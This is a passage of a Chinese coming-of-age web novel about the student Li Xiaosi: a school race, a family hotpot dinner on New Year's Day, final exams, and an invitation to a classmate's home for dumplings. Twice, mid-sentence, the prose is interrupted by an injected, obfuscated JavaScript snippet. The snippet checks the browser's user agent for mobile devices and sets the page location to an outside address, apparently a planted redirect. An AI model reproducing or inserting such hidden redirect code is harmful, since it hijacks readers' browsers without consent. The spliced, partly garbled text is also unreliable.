李小四转过头看着陈屿白。他还是穿着那件黑色的卫衣,帽子扣在头上,表情淡淡的,好像在说一件跟自己无关的事。但他的手举得很直,举了很久,直到林小美把他的名字写在黑板上才放下来。 李小四忽然觉得,陈屿白这个人,比他看起来的要复杂得多。 比赛在周六上午。天很冷,但阳光很好,操场上站满了人。长跑是最后一个项目,男生一千米,女生八百米。李小四站在起跑线上,穿着短裤和背心,冷得直打哆嗦。他后悔报长跑了,后悔到想立刻退出,但陈屿白站在他旁边,也是一副冷得要死的样子,但没有说要退出。 “你为什么要报长跑?”李小四问。 “不知道。”陈屿白说,“你呢?” “不知道。” 两个人对视了一眼,同时笑了。那是李小四第一次看到陈屿白笑,不是那种礼貌性的微笑,不是那种嘲讽的冷笑,而是一个普通的、真实的、因为觉得好笑而笑出来的笑。他笑起来的时候,眼睛弯弯的,嘴角往上翘,看起来像一个普通的十六岁男生,不是那个永远戴着耳机、永远把帽子扣在头上的怪人。 发令枪响了。 李小四冲出去,跑在第一集团的后面。他不求名次,只求跑完。他调整呼吸,三步一吸三步一呼,节奏保持得还不错。跑到第二圈的时候,他的腿开始发酸,呼吸开始乱。跑到第三圈的时候,他觉得肺要炸了,每一步都像踩在刀尖上。他咬着牙,看着前面那个人的背影,一步,一步,一步,不追,不停,不放弃。 跑到最后一圈的时候,他听到了加油声。不是那种整齐的、有组织的加油,而是零零散散的、来自不同方向的声音。他听到了刘洋的声音,听到了张瑞的声音,听到了林小美的声音。林小美的声音不大,但在那些声音里,他听得最清楚。 “李小四——加油!” 他加快了脚步,冲过了终点线。他不是第一名,也不是最后一名,他跑了第十一名,在二十多个参赛者里,中不溜。他撑着膝盖,大口大口地喘气,汗水滴在塑胶跑道上,一滴,一滴,又一滴。他抬起头,看到林小美站在跑道边上,手里拿着他的水杯,朝他走过来。 “喝点水。”她把水杯递给他。 李小四接过水杯,喝了一大口。水是温的,不烫也不凉,刚刚好。他不知道林小美是什么时候把水杯从教室拿过来的,不知道她在操场边上站了多久,不知道她在那群加油的人里喊了多少声。他只知道,这杯水跟爸爸每天早上放在书桌上的那杯水一样,都是温的,都是刚好能喝的,都是不用说话就能感受到的。 “谢谢你。”他说。 “谢什么?”林小美问。 “谢你喊加油。” 林小美低下头,用鞋尖拨了拨跑道上的落叶,没有说话。但她的耳朵红了,红得很明显,连头发都遮不住。李小四假装没看到,又喝了一口水,然后把水杯还给她。 “你的长跑也不错。”林小美说。 “第十一名,中不溜。” “中不溜已经很好了。你以前跑完十五圈都快断气了,现在跑完一千米还能站着说话。” 李小四想了想,好像确实是这样。他的体能变好了,不是突然变好的,是慢慢变好的。每天上下学骑电动车,体育课打篮球,偶尔被刘洋拉去跑步,这些不起眼的运动积累在一起,让他的肺活量变大了,让他的腿变有力了,让他跑完一千米之后还能站着说话。 进步就是这样发生的。不是一天变好的,是每一天都好一点点。 十二月下旬,学校放了三天假,因为元旦。 三天不长,但李小四觉得像是偷来的时间。他把作业在第一天就做完了,剩下的两天用来复习和发呆。复习是必须的,期末快到了,黑板上的倒计时数字一天比一天小,小到让人心慌。发呆是自愿的,他坐在窗前,看着窗外的天空,什么都不想,什么都不做,就那么坐着,有时候一坐就是半个小时。 爸爸放假三天,汽修厂元旦不营业。他在家待着,早上睡到自然醒,中午帮妈妈做饭,下午看汽修的书,晚上看电视。他比以前松弛了很多,不是那种懒散的松弛,而是一种“终于可以歇一歇”的松弛。他的脸上多了笑容,话也多了,吃饭的时候会讲厂里的事——哪个师傅修车技术好,哪个徒弟把客户的车刮了,哪个客户修完车不给钱跑了。他讲得绘声绘色,声音忽大忽小,手势丰富,像是在说书。 李小四听着爸爸说话,觉得这个男人变了。以前爸爸回来,吃完饭就在沙发上打瞌睡,问他什么都说“嗯”“好”“知道了”,像一台只会发出单音节的机器。现在不一样了,他会主动说话,会主动讲自己的事,会主动问李小四在学校怎么样。他不再是那个沉默的、疲惫的、远在天边的父亲了。他变成了一个普通的、会在饭桌上吹牛的、会在沙发上打呼噜的爸爸。 元旦那天,妈妈兑现了她的承诺——一家三口去吃了火锅。 火锅店是新开的,在县城最热闹的那条街上,门面装修得很气派,红色的招牌,金色的字, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444078|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口摆着两排花篮,花还没谢。店里暖气开得很足,一进门眼镜就起了一层雾,李小四摘下眼镜擦了擦,看到里面坐满了人,热热闹闹的,说话声、笑声、锅里的咕嘟声混在一起,像一锅煮沸了的交响乐。 他们找了一张靠窗的桌子坐下。服务员拿来菜单,妈妈把菜单推给李小四:“你点,想吃什么点什么。” 李小四接过菜单,翻了一遍。菜品很多,看得他眼花缭乱。他点了肥牛、羊肉卷、虾滑、午餐肉、金针菇、土豆片、生菜、豆腐皮,又点了一份红糖糍粑当甜品。点完之后他觉得点多了,想把几个菜划掉,妈妈说:“不用划,吃不完打包。” 爸爸要了一瓶啤酒,给妈妈倒了一杯,给自己倒了一杯,又给李小四倒了一杯可乐。他举起杯子,看着李小四和妈妈,说了一句让李小四没想到的话:“来,一家人,干一杯。” “一家人”三个字,从他的嘴里说出来,声音不大,但每个字都咬得很清楚。李小四举起可乐杯,跟爸爸的啤酒杯碰了一下,又跟妈妈的杯子碰了一下。杯壁碰撞的声音很清脆,叮的一声,像一枚小小的钟声。 火锅端上来了,锅底是鸳鸯锅,一半红油一半清汤。红油那边翻滚着辣椒和花椒,香气辛辣刺鼻;清汤那边漂着枸杞和红枣,味道醇厚温和。李小四把肥牛放进红油里,涮了几秒钟,捞出来,蘸了一下麻酱,塞进嘴里。肉很嫩,很烫,很辣,辣得他吸了一口气,又吸了一口气,然后笑了。 “好吃吗?”妈妈问。 “好吃。” “好吃就多吃点。”爸爸把一盘羊肉卷全倒进了锅里。 李小四低头吃着,吃着吃着,鼻子忽然酸了。不是因为火锅辣,不是因为感动,而是一种说不清的、满得快要溢出来的情绪。他想起几年前,爸爸还在外地跑车,过年都回不来,妈妈一个人在厨房里忙活,做了一大桌子菜,但只有两个人吃,吃不完,剩菜能吃好几天。那时候他觉得过年没意思,因为人不够,热闹不起来。 现在人够了。三个人,三双筷子,三个碗,一个锅。锅里的汤咕嘟咕嘟地冒着泡,热气升起来,模糊了爸爸妈妈的脸。他看着那两张模糊的脸,觉得这大概就是幸福的样子。不是那种轰轰烈烈的、惊天动地的幸福,而是平凡的、细碎的、不值一提的幸福。不值一提,但很重要。 吃完火锅,他们在街上走了一会儿。街上很热闹,到处是卖气球、卖糖葫芦、卖烤串的小摊。孩子们手里拿着荧光棒,跑来跑去,尖叫声此起彼伏。爸爸走在前面,妈妈走在中间,李小四走在最后面。他看着爸爸妈妈的背影,忽然发现自己比妈妈高了。以前妈妈比他高半个头,现在他比妈妈高半个头。这个变化是什么时候发生的?他不知道。也许是初二,也许是初三,也许是某一天他量身高的时候,发现那根线又往上移了一截。他记不清了。 但他记得,妈妈以前牵着他的手过马路,现在他牵着妈妈的手过马路。 “妈,我牵你过马路。”他说,伸出手。 妈妈愣了一下,然后把手伸过来,握住了他的手。她的手不粗糙,但也不柔软,是那种做了太多家务的手——指节粗大,掌心有茧,手背上有细纹。他握着那只手,像握着一本写满了故事的书,每一个茧都是一段辛苦,每一条细纹都是一年光阴。 过了马路,妈妈把手抽回去,插进口袋里。“行了,到了,不用牵了。”她说,语气跟平时一样,不咸不淡的。但李小四看到她的眼角亮了一下,不是泪光,是一种更亮的东西。 回到家,李小四坐在书桌前,打开了笔记本。他想把今天的事写下来,不是沈老师布置的作业,是他自己想写。他想写那顿火锅,写那杯可乐,写爸爸说的“一家人”,写妈妈的手。他想把这些东西变成文字,不是为了发表,不是为了给别人看,只是为了记住。记住这个元旦,记住这个冬天,记住这个一家人终于坐在一起吃火锅的日子。 他写了一千多字,写到妈妈的手的时候,笔停了一下。他不知道该怎么形容那双手。粗糙?不准确。温暖?太普通。有力?也不对。他想了好久,最后写了这样一句话:“妈妈的手不是粗糙,是做了太多事情之后,忘了变回柔软。” 写完之后他读了一遍,觉得这句话写得还行,虽然不是很满意,但比“粗糙”和“温暖”要好一些。他把笔记本合上,放进抽屉里,跟那本卷了边的练习册和那张38分的试卷放在一起。 他站起来,走到窗前,拉开窗帘。窗外的月亮很圆,很亮,挂在光秃秃的树梢上,像一个巨大的灯笼。远处的鞭炮声噼里啪啦的,年的味道越来越浓了。十二月的最后一天,他在窗前站了很久,看着月亮,听着鞭炮,想着一些有的没的。 他想,这一年快要结束了。这一年发生了很多事。他考上了一中,认识了新同学,有了新老师,学会了集合和函数,背了一千多个单词,写了第一篇发表在校刊上的文章。他交到了新朋友——刘洋、陈屿白、张瑞还在,但联系少了。他跟林小美的关系近了一些,不知道近到什么程度,但比同桌更近一些。爸爸回来了,妈妈脸上的笑容多了,大壮拿到了电工证。 这些事单独看,每一件都很小。但加在一起,就是他的二零一九年。 不是轰轰烈烈的一年,是平平淡淡的一年。但平淡不等于不重要。白开水也是淡的,但没有它,人活不下去。 他拿起手机,给林小美发了一条消息:“新年快乐。” 过了几分钟,林小美回:“新年快乐。” “你在干嘛?” “在看月亮。你呢?” “也在看月亮。” “那你看到的月亮跟我看到的一样。” 李小四看着这行字,心里动了一下。他不知道林小美说这句话的时候在想什么,也许什么都没想,只是随口一说。但这句话在他的心里激起了涟漪,一圈一圈的,荡了很久。 “林小美,明年见。”他发了这条消息,觉得这句话有点傻,因为明年就是明天,明天就见了。但他说了,就不想收回了。 “明年见。”林小美回。 李小四把手机放在枕边,关了灯。月光从窗帘的缝隙里照进来,在地板上画出一条细细的白线,像一条路,通向某个他不知道的地方。那个地方叫明年,叫未来,叫以后。他不知道它长什么样,但他知道,他要走过去了。 29. 跨年 元旦过后,日子像被人踩了油门。 黑板右上角的倒计时数字一天比一天小,从“距期末考试还有28天”变成了“21天”,又从“21天”变成了“14天”。那个数字是用红色粉笔写的,每天由值日班长擦掉旧的、写上新的。擦的时候粉笔灰扬起来,在晨光里飞舞,像一群细小的、没有方向的飞虫。 李小四每天早上走进教室,第一眼看到的就是那个数字。它像一堵墙,一天一天地往前推,把他往后逼。他知道那堵墙后面是什么——期末考试,然后是寒假,然后是高一下学期,然后是选科,然后是分班。每一件事都在那堵墙后面等着他,他翻过去了才能看到下一件,翻不过去就卡在这里。 他不想卡在这里。 复习比平时更紧张了。各科老师都在赶进度,要在期末考试前把该讲的内容讲完。王老师讲函数的应用,一堂课讲了三种函数模型,每一种都配了两道例题,速度快得像在放倍速。李小四拼命地记笔记,笔尖在纸上飞快地移动,字迹潦草到他自己都快不认识了。他顾不上了,先记下来再说,课后再整理。 林小美的笔记还是那么工整,每一个字都写得很清楚,每一个步骤都写得很完整。她写字的速度不快,但她能跟上王老师的节奏,因为她不需要记所有的东西——她只记那些她认为重要的、容易错的、需要反复看的。她的笔记不是抄下来的,是筛下来的。李小四有时候会借她的笔记来看,看完之后觉得自己那本可以扔了。 “你的笔记能借我抄一下吗?”他问。 “你每次都借。”林小美说,但还是把笔记本推了过来。 “因为你写得好。” “你也能写得好,你就是不认真写。” 李小四无话可说。他知道林小美说得对。他的笔记潦草不是因为写不快,是因为不想花时间。他总觉得时间不够用,能省一秒是一秒,但省下来的那些秒,最后都花在了重新理解那些潦草的字迹上。省了十秒,花了十分钟。怎么算都不划算。 他决定从现在开始,把字写工整一点。 物理课讲牛顿第二定律的应用。刘老师在黑板上画了一个斜面,上面放着一个物体,标出了重力、支持力、摩擦力、拉力。他问:“这个物体受几个力?”有人回答四个,有人回答五个,有人说不确定。刘老师一个一个地分析,把每个力的方向、大小、作用点都讲了一遍,然后说:“受力分析是力学的基础,基础不牢,地动山摇。你们期末考试如果受力分析做错了,后面的题就不用做了。” 李小四把这句话记在了笔记本上,用红笔在旁边画了一个五角星。他不想“地动山摇”。 英语课讲定语从句的复习。陈老师在黑板上写了好几个句子,让同学们分析定语从句的结构,找出先行词和关系词。李小四做得很顺手,自从林小美帮他补了定语从句之后,这一块他基本没问题了。他做完之后抬起头,看到陈老师在看他,嘴角微微弯了一下,像是在说“还不错”。 他低下头,继续做下一道题。 日子就在这样的节奏中一天一天地过去了。每天六点十分起床,背单词,上学,上课,做操,上课,午饭,午休,上课,自习,放学,晚饭,做作业,复习,睡觉。每一天的流程几乎一模一样,像一条被反复走过的路,走得多了,路上有几块砖、几道缝、几颗松动的石子,闭着眼睛都能说出来。 但这条路上的风景并不是一成不变的。有时候是清晨的阳光照在课桌上,把木纹照得发亮。有时候是傍晚的夕阳从窗户照进来,把整间教室染成橘红色。有时候是林小美放在他桌上的一个橘子,橙黄橙黄的,带着几片绿色的叶子。有时候是刘洋从后面扔过来的一颗糖,准确地落在他的课本上,弹了一下,滚到了地上。他弯腰捡起来,剥开糖纸塞进嘴里,是草莓味的,甜得发腻。 这些小小的、不起眼的瞬间,像路上的路标,告诉他:你还在走,你没有停。 一月中旬,期末考试的时间定了。一月十四号、十五号、十六号,三天,九门课。考试安排表贴出来的那天,教室里炸开了锅。有人哀嚎,有人沉默,有人开始算还有几天可以复习,有人已经开始收拾东西准备放弃了。 李小四没有哀嚎,也没有沉默。他看了看安排表,在心里默默排了一个复习计划。数学还有两章没复习完,英语单词还有三百多个没背,物理受力分析还要再练,化学物质的量那几个公式还不太熟。他把这些任务分配到剩下的十几天里,每一天都有具体的目标。 他把计划写在一张纸上,贴在了书桌前,跟那些旧的计划表贴在一起。旧的已经泛黄了,有些边角翘起来了,他没有撕掉,而是把新的贴在旁边。他想看到自己走过的路——从“每天学习一小时”到“每天背二十个单词”,从“每天做十道数学题”到“复习完函数这一章”。每一张纸都是一步路,每一步路都没有白走。 考试前一周,李小四感冒了。 不是那种发高烧、起不来的重感冒,而是那种鼻塞、流鼻涕、头昏脑涨、浑身无力的轻感冒。说轻不轻,说重不重,但足够让人难受。他在教室里坐着,鼻子不通气,只能用嘴呼吸,嘴呼吸久了喉咙干,干了就想喝水,喝多了又想上厕所。一节课四十五分钟,他要去两趟厕所,进进出出的,自己都觉得烦。 “你感冒了?”林小美问。 “嗯,有点。” “吃药了吗?” “吃了。感康,一天两片。” “多喝水。多穿点。” 李小四把校服拉链拉到最上面,缩着脖子,趴在桌上。他的头很重,像灌了铅一样,抬不起来。他想睡觉,但不能睡,还有好多东西没复习。他强撑着睁开眼睛,看着课本上的字,那些字在眼前晃来晃去,像水里的倒影,怎么都抓不住。 “你趴一会儿吧。”林小美说,“睡十五分钟,我叫你。” “不用……” “趴下。” 她的语气不容商量。李小四没有再说话,把课本合上,趴在胳膊上,闭上了眼睛。他以为他睡不着,但眼睛一闭,意识就模糊了。他做了一个很短的梦,梦见自己在考场上,试卷上的字全都不认识,他急得满头大汗,监考老师走过来,拍了拍他的肩膀,说“别急,慢慢做”。他抬起头,看到监考老师是马老师。马老师穿着一件白衬衫,头发梳得一丝不苟,表情严肃,但眼神里有一种让他安心的东西。 “李小四,醒醒。” 他睁开眼睛,看到林小美正看着他。她手里拿着他的水杯,杯盖拧开了,水汽从杯口升起来,在冷空气里凝成白雾。 “十五分钟到了。喝点水。” 他接过水杯,喝了一口。水是温的,不烫也不凉,刚刚好。他不知道林小美是什么时候去接的热水,不知道她在饮水机前等了多久,不知道她是怎么把水温调到刚好的。他只知道,这杯水跟他喝过的很多杯水一样,都是温的,都是刚好能喝的,都是不用说话就能感受到的。 “谢谢。”他说。 “不客气。”林小美把水杯放回他的桌角,“你好点了吗?” “好了一点。头没那么重了。” “那就继续复习。你还有好多东西没看。” 李小四苦笑了一下,翻开课本,继续看。他的头还是有点晕,鼻子还是不通气,但那一觉确实让他舒服了一些。不是身体上的舒服,是一种精神上的——有人在他睡着的时候守着他,在他醒来的时候递给他一杯温水。这种感觉比任何药都管用。 考试前三天,李小四的感冒好了。 鼻子通了,头不晕了,浑身有劲了。他觉得自己像一辆刚做完保养的车,每一个零件都运转正常,油门一踩就能冲出去。他把最后几章复习完了,把错题本从头到尾看了一遍,把英语单词背到了最后一页。一千六百个核心词汇,他用了将近三个月,终于背完了。他背最后一个单词的时候,故意放慢了速度,一个字母一个字母地拼:p-e-r-s-e-v-e-r-a-n-c-e,perseverance,坚持不懈。 他合上单词书,摸了摸封面。封面已经被他翻得起了毛边,边角卷曲,书脊上的胶水有些开裂了,用透明胶粘了一道。这本书是林小美初中的时候用的,她用了一年,他又用了三个月。一本书,两个人,几百个日夜,一千六百个单词。每一个单词都在这本书里住过,又从这里搬到了他们的脑子里。 他把单词书装进书包,明天还给林小美。 一月十四号,期末考试第一天。 天气很冷,但阳光很好。李小四到学校的时候,校门口比平时安静了很多。没有人打闹,没有人说笑,每个人都背着书包,表情严肃,步履匆匆。有几个住校生蹲在花坛边,手里拿着课本,在做最后的复习,呼出的白气在晨光里一团一团的,像小小的云。 考场按上次月考的成绩排的,李小四还在第二考场。他找到自己的座位,靠窗第二排,桌面平整,椅子不晃,阳光从窗户照进来,落在他的桌角上,照出一个明亮的光斑。他把笔袋和准考证放在桌上,坐下来,深呼吸。 第一场是语文。 试卷发下来的时候,他先翻到后面看了看作文题目。作文题目是“跨年”。两个字,没有更多的说明。他看着这两个字,脑子里冒出来的第一个画面是元旦那天一家人吃火锅的情景——鸳鸯锅,红油翻滚,清汤冒泡,肥牛在锅里涮了几秒钟就熟了,蘸上麻酱塞进嘴里,又烫又辣又香。爸爸举起啤酒杯说“来,一家人,干一杯”,妈妈笑着举起杯子,他也举起可乐杯,三个杯子碰在一起,发出清脆的声响。 他想到那个画面的时候,心里就踏实了。 他翻回第一页,开始答题。 基础知识部分做得不慢,古诗词默写都是他背过的,《劝学》里的“锲而舍之,朽木不折;锲而不舍,金石可镂”,《师说》里的“是故弟子不必不如师,师不必贤于弟子”,写的时候笔尖在纸上流畅地滑过,没有卡顿。文言文阅读是《劝学》的节选,荀子写的,他在暑假的时候读过好几遍,大意都记得,题目做起来不算难。阅读理解是一篇散文,讲的是一个少年离开家乡去远方求学的故事,文字朴实,情感克制,题目也不刁钻。 做完这些,他看了一眼时间,还剩五十分钟。 他翻到作文页面,在草稿纸上写下了题目:“跨年”。然后他提起笔,开始写。 “跨年,跨的是什么?是时间,是一年变成另一年,是十二月变成一月。但我觉得,跨年跨的不只是时间,还有自己。” 他写了元旦那顿火锅。写爸爸举起啤酒杯说“来,一家人,干一杯”的时候,他看到爸爸眼角的皱纹比去年多了,但眼神里的疲惫比去年少了。写妈妈夹菜的时候,总是先夹给他,再夹给爸爸,最后才夹给自己。写他第一次觉得,跨年不是一个人的事,是一家人的事。 “那一夜,我躺在床上,听到客厅里爸爸妈妈还在说话。他们说话的声音很轻,像怕吵醒我。我没有睡着,我听着他们的声音,觉得这个冬天不会太冷。” 他写了林小美发来的那条消息——“那你看到的月亮跟我看到的一样”。写他看到这行字的时候,心里动了一下,像有人往平静的湖水里扔了一颗小石子,涟漪一圈一圈地荡开,荡了很久都没有停。 “跨年那天晚上,我跟她说,明年见。她说明年见。其实明年就是明天,明天就见了。但我还是想说,因为‘明年见’比‘明天见’更重。明天太近了,近到不需要约定。明年远一些,远到需要一个人在心里放很久。” 他写了最后一段: “跨年,跨过的是时间,跨不过的是那些留在时间里的人和事。他们不会因为年历翻过一页就消失,他们会跟着你,走进下一年,再下一年,再下一年。直到你也成为别人跨不过去的那个部分。” 写完之后,他放下笔,从头到尾读了一遍。读到“跨年,跨过的是时间,跨不过的是那些留在时间里的人和事”的时候,他的眼眶热了一下。不是难过,是一种说不清的触动——他写的每一个字都是真的,每一句话都是他心里的话。他没有编造任何东西,没有为了感动阅卷老师而夸大任何情感。他只是把自己感受到的东西写了下来,用最朴素的语言。 他检查了一遍卷面,把几处涂改的地方修整了一下,然后交了卷。 走出考场的时候,阳光正好。十一点钟的太阳挂在东南方向,不烈,但很亮,照在教学楼的白色墙面上,反射出一片耀眼的光。他站在走廊上,深深地吸了一口气,空气里有冬天的清冽,有远处食堂飘来的饭菜香,有阳光晒在水泥地上的味道。 他掏出手机,给林小美发了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444079|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一条消息:“考完了。你在哪?” 过了几分钟,林小美回:“在第一考场外面。你过来吧。” 李小四穿过操场,走到第一考场所在的那栋楼。林小美站在楼下的花坛边,手里拿着一个透明文件袋,正在看手机。她今天穿了一件白色的羽绒服,头发扎成低马尾,脖子上围着那条灰色的围巾,围巾很长,在胸前绕了一圈又绕了一圈,还是拖出来一截,在风里轻轻晃。 “作文写的什么?”林小美问。 “跨年。你呢?” “也是跨年。” “你写的什么内容?” 林小美想了想:“写了我奶奶。写她每年除夕都要包饺子,手伸不直,但她包的饺子很好看,每一个褶子都一样大。她说跨年就是要吃饺子,吃了饺子才团圆。” 李小四没有说话。他想象林小美的奶奶坐在桌前,手指关节变形,伸不直也握不拢,但她拿着饺子皮,放馅,对折,捏褶,每一个动作都很慢,但每一个动作都很准。她包出来的饺子像艺术品,整齐划一,褶子均匀,不像一个手伸不直的人能包出来的。但她就是包出来了,因为她是用心在包,不是用手。 “你奶奶包的饺子,一定很好吃。”李小四说。 “嗯。”林小美低下头,用鞋尖拨了拨地上的落叶,“今年除夕,你来我家吃饺子吧。” 李小四愣了一下。 “我奶奶想见你。”林小美说,语气很平淡,好像在说一件很普通的事,“我跟她说过你。她说你是个好孩子,想见见。” 李小四不知道该说什么。他的心跳很快,快到他担心林小美会听到。他张了张嘴,想说“好”,但声音卡在喉咙里,出不来。他咽了一下口水,又说了一遍:“好。” 林小美抬起头,看了他一眼,嘴角弯了一下。那个笑容很淡,但很真,像冬天的阳光,不热烈,但足够暖。 下午考物理和化学。 物理比月考的时候难了一些,选择题有好几道他拿不准,填空题有一道完全不会——问的是力的合成与分解,他记得平行四边形定则,但题目给的不是力的大小和方向,而是分力与合力的关系,他想了很久,最后画了一个图,用三角函数算了一下,得出了一个数字,不知道对不对。 大题他一道一道地做,能写多少写多少。有一道关于牛顿第二定律的题目,他算了三遍,每一遍答案都不一样。他选了第二遍的答案,因为那个答案看起来最合理——虽然他知道“看起来合理”不是一个靠谱的标准,但当时他实在没有更好的办法了。 化学比物理简单一些。物质的量浓度、溶液配制、离子反应、氧化还原反应,这些他复习过好几遍,做起来还算顺手。最后一道实验题是关于□□的制备和性质检验的,步骤很多,他一项一项地写,写了七八步,不知道全不全,但他把所有能想到的都写上了。 考完最后一科,他从考场出来,天已经快黑了。一月的天黑得早,五点多钟太阳就落山了,六点钟的时候天边只剩一抹暗红色的余晖。他站在教学楼前的台阶上,看着天边那抹红色一点一点地暗下去,像有人用一块橡皮在慢慢地擦。 手机震了一下。是林小美发来的消息:“考完了。解放了。” “解放了。”他回。 “你寒假有什么计划?” “还没想好。你呢?” “在家。看书。帮我奶奶做家务。等你来吃饺子。” 李小四看着这行字,心里涌起一种说不清的感觉。不是高兴,不是激动,而是一种更安静的、更深的东西——像冬天的河水,表面结了冰,但冰面下的水还在流,不紧不慢地流,流向某个他知道但还没有去过的地方。 “我一定来。”他回。 他骑着电动车回家。夜风吹在脸上,凉飕飕的,但不像前几天那样冷得刺骨。也许是因为穿了羽绒服,也许是因为心里有件让他觉得温暖的事。他想,寒假要来了,春节要来了,林小美家的饺子也要来了。这些“要来了”让他在寒冷的冬夜里,觉得前面有光。 到家的时候,妈妈已经把饭菜端上桌了。红烧肉、清炒时蔬、番茄蛋花汤,都是他爱吃的。爸爸坐在餐桌前,正在看手机,不知道在看什么,表情很专注。 “考完了?”妈妈问。 “考完了。” “考得怎么样?” “还行。等成绩出来就知道了。” “那就不想了,吃饭。”妈妈拿起筷子,给他夹了一块红烧肉。 李小四低头吃饭,吃了几口,抬起头,说了一句让爸爸妈妈都意外的话:“妈,爸,今年除夕,我去同学家吃饺子。” 妈妈愣了一下:“哪个同学?” “林小美。” 妈妈看了看爸爸,爸爸看了看妈妈。两个人交换了一个眼神,那个眼神里有惊讶,有好奇,有“哦,原来如此”的意味,还有一种说不清的、柔软的、像是放心又像是舍不得的东西。 “去吧。”妈妈说,“早点回来。” “知道了。” 李小四低下头,继续吃饭。红烧肉很香,炖得很烂,入口即化。他嚼着肉,想着林小美说的那些话——“我奶奶想见你”“她说你是个好孩子”“你来我家吃饺子吧”。这些话在他脑子里转来转去,像一片片落不下来的叶子。 他不知道林小美的奶奶是什么样的人。他没见过她,但他在林小美的描述里见过——手伸不直但针脚很细的老裁缝,包饺子褶子一样大的老人家,说“手伸不直没关系,心直就行”的那个奶奶。他想见见她,想看看那双伸不直的手,想吃吃那些褶子一样大的饺子,想听听她说“心直就行”。 他吃完最后一口饭,放下筷子,站起来。 “我吃饱了。” “再去盛一碗。”妈妈说。 “吃不下了。” “你才吃一碗。” “真的吃不下了。” 妈妈看了看他,没有再劝。她端起空碗,去厨房洗碗了。爸爸坐在沙发上,继续看手机。李小四站在客厅里,看着这个家——不大,不新,不豪华,但温暖。灯是暖的,沙发是暖的,碗筷是暖的,人是暖的。 他想,这就是跨年的意义吧。不是日历翻过一页,而是你知道,不管外面多冷,都有一个地方是暖的。那个地方叫家。 30. 饺子 期末考试结束后的第二天,李小四睡到了自然醒。 没有闹钟,没有必须早起的原因,窗外的天已经大亮了,阳光从窗帘的缝隙里挤进来,在地板上画出一条明亮的光带。他翻了个身,把被子拉到下巴,闭着眼睛又躺了一会儿。脑子是清醒的,但身体不想动,被子里面暖烘烘的,外面是冷的,这个温差让他产生了一种强烈的惰性——不想起床,不想动,不想做任何需要离开被窝的事情。 他在床上赖了将近一个小时,期间拿起手机看了三次时间,翻了翻朋友圈,给大壮发了一条“考完了”的消息。大壮没有回,大概在上班。他又看了看林小美的朋友圈,没有新动态,上一条还是那排银杏树的照片,一个句号。 他放下手机,终于坐了起来。冷空气立刻包围了他裸露的手臂和肩膀,他打了个哆嗦,赶紧把棉袄披上。窗外的天空是灰白色的,云层很厚,看起来像要下雪的样子。县城的冬天很少下雪,偶尔飘几片雪花,还没落到地上就化了,只能在地上留下一小片湿痕。但他每年还是会期待下雪,期待那种白色的、柔软的、从天而降的东西,把整个世界变成另一个样子。 他洗漱完,走到客厅。妈妈已经去上班了,餐桌上留着一碗粥、一个煮鸡蛋和一碟咸菜。粥已经凉了,他把粥倒进锅里热了一下,就着咸菜喝完,鸡蛋揣进口袋里,打算饿了再吃。爸爸也出门了,汽修厂年前忙,要加班加点地把客户的车修好,好让人家过年开回家。客厅的茶几上放着一张纸条,是爸爸的笔迹,字写得歪歪扭扭的:“小四,中午自己热饭吃,冰箱里有剩菜。”他把纸条折好,放在书桌上,跟那些旧的计划表贴在一起。 上午的时间他用来收拾房间。不是妈妈要求的,是他自己想收拾。书桌上的课本和试卷堆了半个学期,有些已经用不上了,有些还要留着复习。他把它们分类整理好,不再需要的捆起来放在墙角,等收废品的来;还需要用的按科目放进文件夹里,标上标签,整齐地码在书架上。书架是去年爸爸用旧木板钉的,不太好看,但很结实,放几十斤书一点问题都没有。 收拾到一半的时候,他翻出了那本卷了边的练习册——马老师初一给他的那本。封面已经掉了,用透明胶粘着,里面的纸张泛黄了,边角卷曲,有些地方被水洇过,字迹模糊了。他翻到第一页,看到马老师写的批注:“去括号注意变号!”感叹号还是那么大,力透纸背,好像在提醒一个永远记不住规矩的学生。 他拿着那本练习册,坐在床边,一页一页地翻。有些题他做了三遍才做对,有些题他做了五遍,有些题他到现在都不确定自己会不会做。但他记得每一道题,不是记得题目本身,而是记得做那些题时的自己——那个咬着笔头、皱着眉头、在草稿纸上画了一遍又一遍的李小四。那个李小四笨拙、焦虑、没有信心,但他没有放弃。他一道一道地做,一遍一遍地改,一次一次地问。他用了三年时间,把那本练习册从第一页做到了最后一页,从38分做到了98分。 他把练习册合上,放进了抽屉里,跟那张38分的试卷放在一起。这些东西他会一直留着,不是因为有用,而是因为他需要记住——记住自己从哪里来,记住那些路是怎么走过来的。 下午,他接到了大壮的电话。 大壮很少打电话,一般都发语音。所以手机响起来看到大壮的名字时,李小四以为出了什么事。 “小四!”大壮的声音从手机里传出来,带着那种熟悉的、热气腾腾的劲儿,“我放假了!厂里放了七天假,我明天回县城!” 李小四愣了一下:“你要回来?” “回来啊!过年能不回来吗?我爸我妈都在县城,我一个人在天津干嘛?”大壮笑了,“我坐明天的火车,下午到。你来车站接我?” “行!几点?” “下午三点多。到了我给你打电话。” “好。” 挂了电话,李小四坐在床边,发了好一会儿呆。大壮要回来了。那个在天津工地搬砖、在厂里打工、在夜校学电工的王大壮,要回来了。他想见大壮,想看看他瘦了没有,黑了没有,壮了没有。想听他讲天津的事,讲厂里的事,讲夜校的事。想跟他一起站在学校门口的烤肠摊前,一人一根烤肠,刷上辣椒酱,咬一口,满嘴香。 